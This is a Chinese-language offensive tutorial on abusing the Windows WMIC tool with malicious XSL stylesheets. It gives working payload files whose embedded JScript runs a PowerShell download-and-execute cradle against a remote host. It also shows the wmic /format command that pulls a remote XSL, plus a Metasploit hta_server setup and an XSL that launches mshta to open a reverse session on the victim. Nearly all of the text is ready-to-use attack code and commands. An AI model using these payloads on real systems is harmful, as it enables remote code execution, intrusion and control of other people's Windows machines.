WMIC

WMIC是一个命令行工具,它用来与Windows管理规范(WMI)交互,WMI是一种用于管理Windows系统的技术。WMIC可以让你使用简单的命令来查询和操作WMI中的各种对象和属性,例如进程,服务,磁盘,网络等。WMIC.exe文件通常位于%systemroot%System32文件夹中。

编辑payload.xsl文件如下:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://192.168.8.1/shell.ps1') | powershell -noprofile -");
        ]]>
    </ms:script>
</stylesheet>

该xsl会下载远程PowerShell脚本并运行。也可以编辑如下payload.xsl执行本地计算器程序:

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
	]]> </ms:script>
</stylesheet>

然后运行以下命令即可调用:

wmic os get /format:"https://webserver/payload.xsl"

XSL链接HTA

WMIC可以远程执行任何文件或脚本,因此我们可以在XSL中插入HTA文件,使用MSHTA下载并执行该文件即可。

运行以下命令以生成payload:

msf6 > use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) > set srvhost 192.168.8.145
msf6 exploit(windows/misc/hta_server) > set lport 5555
lport => 5555
msf6 exploit(windows/misc/hta_server) > exploit 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.8.145:5555 
[*] Using URL: http://192.168.8.145:8080/vLmIquVLmjYYXD.hta
[*] Server started.

然后在网页目录中编辑xsl文件如下:

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("mshta.exe http://192.168.8.145:8080/vLmIquVLmjYYXD.hta");
	]]> </ms:script>
</stylesheet>

接着在Windows主机运行以下命令即可获取到会话:

wmic os get /FORMAT:"http://192.168.8.145/wmic.xsl"